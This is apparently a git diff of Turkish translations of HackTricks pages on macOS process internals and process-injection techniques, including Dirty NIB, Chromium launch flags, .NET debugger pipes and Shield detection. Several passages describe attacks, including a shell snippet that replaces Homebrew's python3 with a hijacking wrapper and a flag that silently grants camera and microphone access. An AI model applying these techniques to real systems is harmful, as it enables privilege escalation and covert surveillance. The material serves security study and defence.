Her işlem, sistemdeki **ayrıcalıklarını tanımlayan** **kimlik bilgilerini** taşır. Her işlem birincil bir `uid` ve birincil bir `gid` (birden fazla gruba ait olabilir) olacaktır.\ Her işlem, sistemdeki **ayrıcalıklarını tanımlayan** **kimlik bilgilerini** taşır. Her işlem birincil bir `uid` ve birincil bir `gid`'ye sahip olacaktır (ancak birkaç gruba ait olabilir).\
Ayrıca, ikili dosya `setuid/setgid` bitine sahipse kullanıcı ve grup kimliğini değiştirmek de mümkündür.\ Eğer ikili dosya `setuid/setgid` bitine sahipse, kullanıcı ve grup kimliğini değiştirmek de mümkündür.\
Yeni `uid`/`gid` ayarlamak için birkaç işlev vardır. Yeni `uid`/`gid`'ler ayarlamak için birkaç işlev vardır.
Syscall **`persona`**, **alternatif** bir **kimlik bilgileri** seti sağlar. Bir persona benimsemek, uid'sini, gid'sini ve grup üyeliklerini **bir anda** üstlenmeyi gerektirir. [**kaynak kodunda**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) yapı bulmak mümkündür: Syscall **`persona`**, **alternatif** bir **kimlik bilgileri** seti sağlar. Bir persona benimsemek, uid'sini, gid'sini ve grup üyeliklerini **bir anda** üstlenmeyi gerektirir. [**kaynak kodunda**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) yapı bulmak mümkündür:
```c ```c
@ -59,13 +59,13 @@ char persona_name[MAXLOGNAME + 1];
## Thread'lerin Temel Bilgileri ## Thread'lerin Temel Bilgileri
1. **POSIX Thread'leri (pthreads):** macOS, C/C++ için standart bir threading API'sinin parçası olan POSIX thread'lerini (`pthreads`) destekler. macOS'taki pthread'lerin implementasyonu `/usr/lib/system/libsystem_pthread.dylib` içinde bulunur ve bu, kamuya açık `libpthread` projesinden gelmektedir. Bu kütüphane, thread'leri oluşturmak ve yönetmek için gerekli fonksiyonları sağlar. 1. **POSIX Thread'leri (pthreads):** macOS, C/C++ için standart bir threading API'sinin parçası olan POSIX thread'lerini (`pthreads`) destekler. macOS'taki pthread'lerin implementasyonu `/usr/lib/system/libsystem_pthread.dylib` içinde bulunur ve bu, kamuya açık `libpthread` projesinden gelmektedir. Bu kütüphane, thread'leri oluşturmak ve yönetmek için gerekli fonksiyonları sağlar.
2. **Thread Oluşturma:** Yeni thread'ler oluşturmak için `pthread_create()` fonksiyonu kullanılır. İçsel olarak, bu fonksiyon XNU çekirdeğine özgü daha düşük seviyeli bir sistem çağrısı olan `bsdthread_create()`'i çağırır. Bu sistem çağrısı, thread davranışını belirten, planlama politikaları ve yığın boyutu da dahil olmak üzere `pthread_attr`'dan (özellikler) türetilen çeşitli bayrakları alır. 2. **Thread Oluşturma:** Yeni thread'ler oluşturmak için `pthread_create()` fonksiyonu kullanılır. İçsel olarak, bu fonksiyon XNU çekirdeğine özgü daha düşük seviyeli bir sistem çağrısı olan `bsdthread_create()`'i çağırır. Bu sistem çağrısı, thread davranışını belirten, planlama politikaları ve yığın boyutu dahil olmak üzere `pthread_attr`'dan (özellikler) türetilen çeşitli bayrakları alır.
- **Varsayılan Yığın Boyutu:** Yeni thread'ler için varsayılan yığın boyutu 512 KB'dir, bu da tipik işlemler için yeterlidir ancak daha fazla veya daha az alana ihtiyaç varsa thread özellikleri aracılığıyla ayarlanabilir. - **Varsayılan Yığın Boyutu:** Yeni thread'ler için varsayılan yığın boyutu 512 KB'dir, bu tipik işlemler için yeterlidir ancak daha fazla veya daha az alana ihtiyaç varsa thread özellikleri aracılığıyla ayarlanabilir.
3. **Thread Başlatma:** `__pthread_init()` fonksiyonu, yığın konumu ve boyutu hakkında ayrıntıları içerebilecek ortam değişkenlerini ayrıştırmak için `env[]` argümanını kullanarak thread kurulumu sırasında kritik öneme sahiptir. 3. **Thread Başlatma:** `__pthread_init()` fonksiyonu, thread kurulumu sırasında kritik öneme sahiptir ve yığın konumu ve boyutu hakkında bilgiler içerebilecek ortam değişkenlerini ayrıştırmak için `env[]` argümanını kullanır.
#### macOS'ta Thread Sonlandırma #### macOS'ta Thread Sonlandırma
1. **Thread'leri Sonlandırma:** Thread'ler genellikle `pthread_exit()` çağrılarak sonlandırılır. Bu fonksiyon, bir thread'in temiz bir şekilde çıkmasına, gerekli temizliği yapmasına ve thread'in herhangi bir katılımcıya geri değer göndermesine olanak tanır. 1. **Thread'leri Sonlandırma:** Thread'ler genellikle `pthread_exit()` çağrılarak sonlandırılır. Bu fonksiyon, bir thread'in temiz bir şekilde çıkmasını sağlar, gerekli temizliği yapar ve thread'in herhangi bir katılımcıya geri dönüş değeri göndermesine olanak tanır.
2. **Thread Temizliği:** `pthread_exit()` çağrıldığında, tüm ilişkili thread yapılarının kaldırılmasını yöneten `pthread_terminate()` fonksiyonu çağrılır. Bu, Mach thread portlarını (Mach, XNU çekirdeğindeki iletişim alt sistemidir) serbest bırakır ve thread ile ilişkili çekirdek düzeyindeki yapıların kaldırılmasını sağlayan bir sistem çağrısı olan `bsdthread_terminate`'i çağırır. 2. **Thread Temizliği:** `pthread_exit()` çağrıldığında, tüm ilişkili thread yapılarının kaldırılmasını yöneten `pthread_terminate()` fonksiyonu çağrılır. Bu, Mach thread portlarını (Mach, XNU çekirdeğindeki iletişim alt sistemidir) serbest bırakır ve thread ile ilişkili çekirdek düzeyindeki yapıların kaldırılmasını sağlayan bir sistem çağrısı olan `bsdthread_terminate`'i çağırır.
#### Senkronizasyon Mekanizmaları #### Senkronizasyon Mekanizmaları
@ -73,13 +73,13 @@ char persona_name[MAXLOGNAME + 1];
Paylaşılan kaynaklara erişimi yönetmek ve yarış koşullarını önlemek için macOS, birkaç senkronizasyon ilkesini sağlar. Bu, çoklu thread ortamlarında veri bütünlüğünü ve sistem kararlılığını sağlamak için kritik öneme sahiptir: Paylaşılan kaynaklara erişimi yönetmek ve yarış koşullarını önlemek için macOS, birkaç senkronizasyon ilkesini sağlar. Bu, çoklu thread ortamlarında veri bütünlüğünü ve sistem kararlılığını sağlamak için kritik öneme sahiptir:
1. **Mutex'ler:** 1. **Mutex'ler:**
- **Normal Mutex (İmza: 0x4D555458):** 60 baytlık bir bellek ayak izi olan standart mutex (56 bayt mutex için ve 4 bayt imza için). - **Normal Mutex (İmza: 0x4D555458):** 60 baytlık bellek ayak izi olan standart mutex (56 bayt mutex için ve 4 bayt imza için).
- **Hızlı Mutex (İmza: 0x4d55545A):** Normal mutex'e benzer ancak daha hızlı işlemler için optimize edilmiştir, boyutu da 60 bayttır. - **Hızlı Mutex (İmza: 0x4d55545A):** Normal mutex'e benzer ancak daha hızlı işlemler için optimize edilmiştir, boyutu da 60 bayttır.
2. **Koşul Değişkenleri:** 2. **Koşul Değişkenleri:**
- Belirli koşulların gerçekleşmesini beklemek için kullanılır, boyutu 44 bayttır (40 bayt artı 4 bayt imza). - Belirli koşulların gerçekleşmesini beklemek için kullanılır, boyutu 44 bayttır (40 bayt artı 4 bayt imza).
- **Koşul Değişkeni Özellikleri (İmza: 0x434e4441):** Koşul değişkenleri için yapılandırma özellikleri, boyutu 12 bayttır. - **Koşul Değişkeni Özellikleri (İmza: 0x434e4441):** Koşul değişkenleri için yapılandırma özellikleri, boyutu 12 bayttır.
3. **Bir Kez Değişkeni (İmza: 0x4f4e4345):** 3. **Bir Kez Değişkeni (İmza: 0x4f4e4345):**
- Bir başlangıç kodunun yalnızca bir kez çalıştırılmasını sağlar. Boyutu 12 bayttır. - Bir parça başlatma kodunun yalnızca bir kez çalıştırılmasını sağlar. Boyutu 12 bayttır.
4. **Okuma-Yazma Kilitleri:** 4. **Okuma-Yazma Kilitleri:**
- Aynı anda birden fazla okuyucu veya bir yazar olmasına izin verir, paylaşılan verilere verimli erişimi kolaylaştırır. - Aynı anda birden fazla okuyucu veya bir yazar olmasına izin verir, paylaşılan verilere verimli erişimi kolaylaştırır.
- **Okuma Yazma Kilidi (İmza: 0x52574c4b):** Boyutu 196 bayttır. - **Okuma Yazma Kilidi (İmza: 0x52574c4b):** Boyutu 196 bayttır.
@ -90,7 +90,7 @@ Paylaşılan kaynaklara erişimi yönetmek ve yarış koşullarını önlemek i
### Thread Yerel Değişkenler (TLV) ### Thread Yerel Değişkenler (TLV)
**Thread Yerel Değişkenler (TLV)**, Mach-O dosyaları (macOS'taki çalıştırılabilir dosyaların formatı) bağlamında, çoklu thread'li bir uygulamada **her thread'e özgü** değişkenleri tanımlamak için kullanılır. Bu, her thread'in bir değişkenin kendi ayrı örneğine sahip olmasını sağlar ve mutex'ler gibi açık senkronizasyon mekanizmalarına ihtiyaç duymadan çatışmaları önlemeye ve veri bütünlüğünü korumaya olanak tanır. **Thread Yerel Değişkenler (TLV)**, Mach-O dosyaları (macOS'taki çalıştırılabilir dosyaların formatı) bağlamında, çoklu thread'li bir uygulamada **her thread'e özgü** değişkenleri tanımlamak için kullanılır. Bu, her thread'in bir değişkenin kendi ayrı örneğine sahip olmasını sağlar ve mutex'ler gibi açık senkronizasyon mekanizmalarına ihtiyaç duymadan çakışmaları önlemeye ve veri bütünlüğünü korumaya olanak tanır.
C ve ilgili dillerde, bir thread yerel değişkeni tanımlamak için **`__thread`** anahtar kelimesini kullanabilirsiniz. İşte örneğinizde nasıl çalıştığı: C ve ilgili dillerde, bir thread yerel değişkeni tanımlamak için **`__thread`** anahtar kelimesini kullanabilirsiniz. İşte örneğinizde nasıl çalıştığı:
```c ```c
@ -117,7 +117,7 @@ Thread önceliklerini anlamak, işletim sisteminin hangi thread'lerin ne zaman
1. **Nice:** 1. **Nice:**
- Bir sürecin `nice` değeri, önceliğini etkileyen bir sayıdır. Her sürecin -20 (en yüksek öncelik) ile 19 (en düşük öncelik) arasında bir nice değeri vardır. Bir süreç oluşturulduğunda varsayılan nice değeri genellikle 0'dır. - Bir sürecin `nice` değeri, önceliğini etkileyen bir sayıdır. Her sürecin -20 (en yüksek öncelik) ile 19 (en düşük öncelik) arasında bir nice değeri vardır. Bir süreç oluşturulduğunda varsayılan nice değeri genellikle 0'dır.
- Daha düşük bir nice değeri ( -20'ye daha yakın) bir süreci daha "bencil" hale getirir ve ona daha yüksek nice değerlerine sahip diğer süreçlere kıyasla daha fazla CPU süresi verir. - Daha düşük bir nice değeri ( -20'ye daha yakın) bir süreci daha "bencil" hale getirir ve ona daha yüksek nice değerine sahip diğer süreçlere kıyasla daha fazla CPU süresi verir.
2. **Renice:** 2. **Renice:**
- `renice`, zaten çalışan bir sürecin nice değerini değiştirmek için kullanılan bir komuttur. Bu, süreçlerin önceliğini dinamik olarak ayarlamak için kullanılabilir; yeni nice değerlerine göre CPU zaman tahsisatını artırabilir veya azaltabilir. - `renice`, zaten çalışan bir sürecin nice değerini değiştirmek için kullanılan bir komuttur. Bu, süreçlerin önceliğini dinamik olarak ayarlamak için kullanılabilir; yeni nice değerlerine göre CPU zaman tahsisatını artırabilir veya azaltabilir.
- Örneğin, bir sürecin geçici olarak daha fazla CPU kaynağına ihtiyacı varsa, `renice` kullanarak nice değerini düşürebilirsiniz. - Örneğin, bir sürecin geçici olarak daha fazla CPU kaynağına ihtiyacı varsa, `renice` kullanarak nice değerini düşürebilirsiniz.
@ -131,11 +131,11 @@ QoS sınıfları, özellikle **Grand Central Dispatch (GCD)**'yi destekleyen mac
2. **Kullanıcı Başlatılan:** 2. **Kullanıcı Başlatılan:**
- Kullanıcının başlattığı ve hemen sonuç beklediği görevler, örneğin bir belge açma veya hesaplamalar gerektiren bir düğmeye tıklama gibi. Bunlar yüksek önceliklidir ancak kullanıcı etkileşimli olanların altındadır. - Kullanıcının başlattığı ve hemen sonuç beklediği görevler, örneğin bir belge açma veya hesaplamalar gerektiren bir düğmeye tıklama gibi. Bunlar yüksek önceliklidir ancak kullanıcı etkileşimli olanların altındadır.
3. **Yardımcı:** 3. **Yardımcı:**
- Bu görevler uzun süreli olup genellikle bir ilerleme göstergesi gösterir (örneğin, dosya indirme, veri içe aktarma). Kullanıcı başlatılan görevlerden daha düşük önceliğe sahiptir ve hemen bitmeleri gerekmez. - Bu görevler uzun süreli çalışır ve genellikle bir ilerleme göstergesi gösterir (örneğin, dosya indirme, veri içe aktarma). Kullanıcı başlatılan görevlerden daha düşük önceliğe sahiptir ve hemen bitmeleri gerekmez.
4. **Arka Plan:** 4. **Arka Plan:**
- Bu sınıf, arka planda çalışan ve kullanıcıya görünmeyen görevler içindir. Bunlar, dizin oluşturma, senkronizasyon veya yedekleme gibi görevler olabilir. En düşük önceliğe sahiptir ve sistem performansı üzerinde minimal etkiye sahiptir. - Bu sınıf, arka planda çalışan ve kullanıcıya görünmeyen görevler içindir. Bunlar, dizin oluşturma, senkronizasyon veya yedekleme gibi görevler olabilir. En düşük önceliğe sahiptir ve sistem performansı üzerinde minimal etkiye sahiptir.
QoS sınıflarını kullanarak, geliştiricilerin tam öncelik numaralarını yönetmeleri gerekmez, bunun yerine görevin doğasına odaklanmaları ve sistemin CPU kaynaklarını buna göre optimize etmesi sağlanır. QoS sınıflarını kullanarak, geliştiricilerin tam öncelik numaralarını yönetmeleri gerekmez, bunun yerine görevin doğasına odaklanırlar ve sistem CPU kaynaklarını buna göre optimize eder.
Ayrıca, zamanlayıcının dikkate alacağı bir dizi zamanlama parametresi belirlemek için farklı **thread zamanlama politikaları** vardır. Bu, `thread_policy_[set/get]` kullanılarak yapılabilir. Bu, yarış durumu saldırılarında faydalı olabilir. Ayrıca, zamanlayıcının dikkate alacağı bir dizi zamanlama parametresi belirlemek için farklı **thread zamanlama politikaları** vardır. Bu, `thread_policy_[set/get]` kullanılarak yapılabilir. Bu, yarış durumu saldırılarında faydalı olabilir.
@ -185,7 +185,7 @@ macos-chromium-injection.md
### Kirli NIB ### Kirli NIB
NIB dosyaları, bir uygulama içindeki **kullanıcı arayüzü (UI) öğelerini** ve etkileşimlerini tanımlar. Ancak, **keyfi komutlar çalıştırabilirler** ve **Gatekeeper**, bir **NIB dosyası değiştirildiğinde** zaten çalıştırılmış bir uygulamanın çalışmasını durdurmaz. Bu nedenle, keyfi programların keyfi komutlar çalıştırmasını sağlamak için kullanılabilirler: NIB dosyaları, bir uygulama içindeki **kullanıcı arayüzü (UI) öğelerini** ve etkileşimlerini tanımlar. Ancak, **keyfi komutlar çalıştırabilirler** ve **Gatekeeper**, bir **NIB dosyası değiştirildiğinde** zaten çalıştırılan bir uygulamanın çalışmasını durdurmaz. Bu nedenle, keyfi programların keyfi komutlar çalıştırmasını sağlamak için kullanılabilirler:
{{#ref}} {{#ref}}
macos-dirty-nib.md macos-dirty-nib.md
@ -234,19 +234,19 @@ Ancak, **`PYTHONSTARTUP`** scripti, **`PYTHONINSPECT`** etkileşimli oturumu olu
> [!CAUTION] > [!CAUTION]
> Genel olarak, çevresel değişkenleri kötüye kullanarak python'un keyfi kod çalıştırmasını sağlamak için bir yol bulamadım.\ > Genel olarak, çevresel değişkenleri kötüye kullanarak python'un keyfi kod çalıştırmasını sağlamak için bir yol bulamadım.\
> Ancak, çoğu insan **Hombrew** kullanarak python yükler, bu da python'u varsayılan admin kullanıcı için **yazılabilir bir konuma** yükler. Bunu şu şekilde ele geçirebilirsiniz: > Ancak, çoğu insan **Hombrew** kullanarak python'u kurar; bu, python'u varsayılan admin kullanıcı için **yazılabilir bir konuma** kurar. Bunu şu şekilde ele geçirebilirsiniz:
> >
> ```bash > ```bash
> mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old > mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
> cat > /opt/homebrew/bin/python3 <<EOF > cat > /opt/homebrew/bin/python3 <<EOF
> #!/bin/bash > #!/bin/bash
> # Ekstra ele geçirme kodu > # Ek ele geçirme kodu
> /opt/homebrew/bin/python3.old "$@" > /opt/homebrew/bin/python3.old "$@"
> EOF > EOF
> chmod +x /opt/homebrew/bin/python3 > chmod +x /opt/homebrew/bin/python3
> ``` > ```
> >
> Hatta **root** bu kodu python çalıştırırken çalıştıracaktır. > Hatta **root** python çalıştırıldığında bu kodu çalıştıracaktır.
## Tespit ## Tespit
@ -255,15 +255,15 @@ Ancak, **`PYTHONSTARTUP`** scripti, **`PYTHONINSPECT`** etkileşimli oturumu olu
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)), **süreç enjeksiyonu** eylemlerini **tespit edebilen ve engelleyebilen**ık kaynak bir uygulamadır: [**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)), **süreç enjeksiyonu** eylemlerini **tespit edebilen ve engelleyebilen**ık kaynak bir uygulamadır:
- **Çevresel Değişkenler Kullanarak**: Aşağıdaki çevresel değişkenlerin varlığını izler: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** ve **`ELECTRON_RUN_AS_NODE`** - **Çevresel Değişkenler Kullanarak**: Aşağıdaki çevresel değişkenlerin varlığını izler: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** ve **`ELECTRON_RUN_AS_NODE`**
- **`task_for_pid`** çağrılarını kullanarak: Bir sürecin başka birinin **görev portunu** almak istediğini bulmak için, bu da kodu sürece enjekte etmeye olanak tanır. - **`task_for_pid`** çağrıları kullanarak: Bir sürecin başka birinin **görev portunu almak istediğini** bulmak için, bu da sürece kod enjekte etmeye olanak tanır.
- **Electron uygulama parametreleri**: Birisi, bir Electron uygulamasını hata ayıklama modunda başlatmak için **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** komut satırı argümanlarını kullanabilir ve böylece ona kod enjekte edebilir. - **Electron uygulama parametreleri**: Birisi **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** komut satırı argümanlarını kullanarak bir Electron uygulamasını hata ayıklama modunda başlatabilir ve böylece ona kod enjekte edebilir.
- **Sembolik bağlantılar** veya **sert bağlantılar** kullanarak: Tipik olarak en yaygın istismar, **kendi kullanıcı ayrıcalıklarımızla bir bağlantı yerleştirmek** ve **daha yüksek bir ayrıcalık** konumuna işaret etmektir. Hem sert bağlantı hem de sembolik bağlantı için tespit çok basittir. Bağlantıyı oluşturan sürecin hedef dosyadan **farklı bir ayrıcalık seviyesine** sahip olması durumunda bir **uyarı** oluştururuz. Ne yazık ki, sembolik bağlantılar durumunda engelleme mümkün değildir, çünkü bağlantının oluşturulmasından önce hedefi hakkında bilgiye sahip değiliz. Bu, Apple'ın EndpointSecurity çerçevesinin bir sınırlamasıdır. - **Sembolik bağlantılar** veya **sert bağlantılar** kullanarak: Tipik olarak en yaygın istismar, **kendi kullanıcı ayrıcalıklarımızla bir bağlantı yerleştirmek** ve **daha yüksek bir ayrıcalık** konumuna işaret etmektir. Hem sert bağlantılar hem de sembolik bağlantılar için tespit çok basittir. Bağlantıyı oluşturan sürecin hedef dosyadan **farklı bir ayrıcalık seviyesine** sahip olması durumunda bir **uyarı** oluştururuz. Ne yazık ki, sembolik bağlantılar durumunda engelleme mümkün değildir, çünkü bağlantının oluşturulmasından önce hedefi hakkında bilgiye sahip değiliz. Bu, Apple'ın EndpointSecurity çerçevesinin bir sınırlamasıdır.
### Diğer süreçler tarafından yapılan çağrılar ### Diğer süreçler tarafından yapılan çağrılar
[**bu blog yazısında**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) bir sürece kod enjekte eden diğer **süreçler hakkında bilgi almak için** **`task_name_for_pid`** fonksiyonunu nasıl kullanabileceğinizi bulabilirsiniz ve ardından o diğer süreç hakkında bilgi alabilirsiniz. [**bu blog yazısında**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) bir sürece kod enjekte eden diğer **süreçler hakkında bilgi almak için** **`task_name_for_pid`** fonksiyonunu nasıl kullanabileceğinizi bulabilirsiniz.
Bu fonksiyonu çağırmak için, süreci çalıştıranla **aynı uid**'ye sahip olmanız veya **root** olmanız gerektiğini unutmayın (ve bu, süreç hakkında bilgi döndürür, kod enjekte etme yolu sağlamaz). Bu fonksiyonu çağırmak için, süreci çalıştıranla **aynı uid**'ye sahip olmanız veya **root** olmanız gerektiğini unutmayın (ve bu, sürecin bilgilerini döndürür, kod enjekte etme yolu sağlamaz).
## Referanslar ## Referanslar

View File

@ -2,17 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
**Bu, [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) adresindeki gönderinin bir özetidir. Daha fazla ayrıntı için kontrol edin!** **Bu, [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) gönderisinin bir özetidir. Daha fazla ayrıntı için kontrol edin!**
## .NET Core Hata Ayıklama <a href="#net-core-debugging" id="net-core-debugging"></a> ## .NET Core Hata Ayıklama <a href="#net-core-debugging" id="net-core-debugging"></a>
### **Hata Ayıklama Oturumu Kurma** <a href="#net-core-debugging" id="net-core-debugging"></a> ### **Hata Ayıklama Oturumu Kurma** <a href="#net-core-debugging" id="net-core-debugging"></a>
.NET'te hata ayıklayıcı ve hata ayıklanan arasındaki iletişimin yönetimi [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) tarafından yapılmaktadır. Bu bileşen, [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) adresinde görüldüğü gibi her .NET işlemi için iki adlandırılmış boru kurar ve bu borular [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) aracılığıyla başlatılır. Bu borular **`-in`** ve **`-out`** ile sonlandırılır. .NET'te hata ayıklayıcı ve hata ayıklanan arasındaki iletişimin yönetimi [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) tarafından yapılmaktadır. Bu bileşen, [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) adresinde görüldüğü gibi her .NET işlemi için iki adlandırılmış boru kurar ve bunlar [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) aracılığıyla başlatılır. Bu borular **`-in`** ve **`-out`** ile sonlandırılır.
Kullanıcının **`$TMPDIR`** dizinine giderek, .Net uygulamalarını hata ayıklamak için mevcut olan hata ayıklama FIFO'larını bulabilirsiniz. Kullanıcının **`$TMPDIR`** dizinine giderek, .Net uygulamalarını hata ayıklamak için mevcut olan hata ayıklama FIFO'larını bulabilirsiniz.
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) bir hata ayıklayıcıdan gelen iletişimi yönetmekten sorumludur. Yeni bir hata ayıklama oturumu başlatmak için, bir hata ayıklayıcının `out` borusu aracılığıyla `MessageHeader` yapısıyla başlayan bir mesaj göndermesi gerekir; bu yapı .NET kaynak kodunda ayrıntılı olarak açıklanmıştır: [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) bir hata ayıklayıcıdan gelen iletişimi yönetmekten sorumludur. Yeni bir hata ayıklama oturumu başlatmak için, bir hata ayıklayıcı `out` borusu aracılığıyla `MessageHeader` yapısıyla başlayan bir mesaj göndermelidir; bu yapı .NET kaynak kodunda ayrıntılı olarak açıklanmıştır:
```c ```c
struct MessageHeader { struct MessageHeader {
MessageType m_eType; // Message type MessageType m_eType; // Message type
@ -31,7 +31,7 @@ DWORD m_dwMinorVersion;
BYTE m_sMustBeZero[8]; BYTE m_sMustBeZero[8];
} }
``` ```
Yeni bir oturum talep etmek için, bu yapı aşağıdaki gibi doldurulur, mesaj türü `MT_SessionRequest` ve protokol sürümü mevcut sürüme ayarlanır: Yeni bir oturum talep etmek için, bu yapı aşağıdaki gibi doldurulur, mesaj türü `MT_SessionRequest` ve protokol sürümü mevcut sürüm olarak ayarlanır:
```c ```c
static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0; static const DWORD kCurrentMinorVersion = 0;

View File

@ -12,7 +12,7 @@ Google Chrome, Microsoft Edge, Brave ve diğerleri gibi Chromium tabanlı taray
#### `--use-fake-ui-for-media-stream` Bayrağı #### `--use-fake-ui-for-media-stream` Bayrağı
`--use-fake-ui-for-media-stream` bayrağı, Chromium tabanlı tarayıcıları başlatmak için kullanılabilecek bir diğer komut satırı seçeneğidir. Bu bayrak, **kamera ve mikrofon üzerinden medya akışlarına erişim izni isteyen normal kullanıcı istemlerini atlamak için tasarlanmıştır**. Bu bayrak kullanıldığında, tarayıcı otomatik olarak kameraya veya mikrofon erişimi talep eden herhangi bir web sitesine veya uygulamaya izin verir. `--use-fake-ui-for-media-stream` bayrağı, Chromium tabanlı tarayıcıları başlatmak için kullanılabilecek bir diğer komut satırı seçeneğidir. Bu bayrak, **kamera ve mikrofon üzerinden medya akışlarına erişim izni isteyen normal kullanıcı istemlerini atlamak için tasarlanmıştır**. Bu bayrak kullanıldığında, tarayıcı otomatik olarak kameraya veya mikrofon erişimi talep eden herhangi bir web sitesi veya uygulamaya izin verir.
### Araçlar ### Araçlar

View File

@ -2,24 +2,24 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
**Tekniğin detayları için orijinal gönderiyi kontrol edin:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) ve [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) tarafından yapılan gönderiyi. İşte bir özet: **Teknik hakkında daha fazla detay için orijinal gönderiyi kontrol edin:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) ve [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)**.** İşte bir özet:
### Nib dosyaları nedir ### Nib dosyaları nedir
Nib (NeXT Interface Builder'ın kısaltması) dosyaları, Apple'ın geliştirme ekosisteminin bir parçası olarak, uygulamalardaki **UI öğelerini** ve etkileşimlerini tanımlamak için tasarlanmıştır. Pencereler ve butonlar gibi serileştirilmiş nesneleri kapsar ve çalışma zamanında yüklenir. Sürekli kullanımlarına rağmen, Apple artık daha kapsamlı UI akış görselleştirmesi için Storyboard'ları önermektedir. Nib (NeXT Interface Builder'ın kısaltması) dosyaları, Apple'ın geliştirme ekosisteminin bir parçası olarak, uygulamalardaki **UI öğelerini** ve etkileşimlerini tanımlamak için tasarlanmıştır. Pencereler ve butonlar gibi serileştirilmiş nesneleri kapsar ve çalışma zamanında yüklenir. Sürekli kullanımlarına rağmen, Apple artık daha kapsamlı UI akış görselleştirmesi için Storyboard'ları önermektedir.
Ana Nib dosyası, uygulamanın `Info.plist` dosyasında **`NSMainNibFile`** değerinde referans alınır ve uygulamanın `main` fonksiyonunda yürütülen **`NSApplicationMain`** fonksiyonu tarafından yüklenir. Ana Nib dosyası, uygulamanın `Info.plist` dosyasında **`NSMainNibFile`** değerinde referans gösterilir ve uygulamanın `main` fonksiyonunda yürütülen **`NSApplicationMain`** fonksiyonu tarafından yüklenir.
### Kirli Nib Enjeksiyon Süreci ### Kirli Nib Enjeksiyon Süreci
#### NIB Dosyası Oluşturma ve Ayarlama #### NIB Dosyası Oluşturma ve Ayarlama
1. **İlk Kurulum**: 1. **İlk Ayar**:
- XCode kullanarak yeni bir NIB dosyası oluşturun. - XCode kullanarak yeni bir NIB dosyası oluşturun.
- Arayüze bir Nesne ekleyin, sınıfını `NSAppleScript` olarak ayarlayın. - Arayüze bir Nesne ekleyin, sınıfını `NSAppleScript` olarak ayarlayın.
- Kullanıcı Tanımlı Çalışma Zamanı Özellikleri aracılığıyla başlangıç `source` özelliğini yapılandırın. - Kullanıcı Tanımlı Çalışma Zamanı Özellikleri aracılığıyla başlangıç `source` özelliğini yapılandırın.
2. **Kod Yürütme Aleti**: 2. **Kod Yürütme Aleti**:
- Kurulum, AppleScript'in talep üzerine çalıştırılmasını sağlar. - Ayar, AppleScript'in talep üzerine çalıştırılmasını sağlar.
- `Apple Script` nesnesini etkinleştirmek için bir buton ekleyin, özellikle `executeAndReturnError:` seçicisini tetikleyin. - `Apple Script` nesnesini etkinleştirmek için bir buton ekleyin, özellikle `executeAndReturnError:` seçicisini tetikleyin.
3. **Test**: 3. **Test**:
@ -42,7 +42,7 @@ display dialog theDialogText
3. **Yürütme**: 3. **Yürütme**:
- Uygulama ile etkileşimde bulunarak yürütmeyi tetikleyin (örneğin, `Hakkında` menü öğesini seçerek). - Uygulama ile etkileşimde bulunarak yürütmeyi tetikleyin (örneğin, `Hakkında` menü öğesini seçerek).
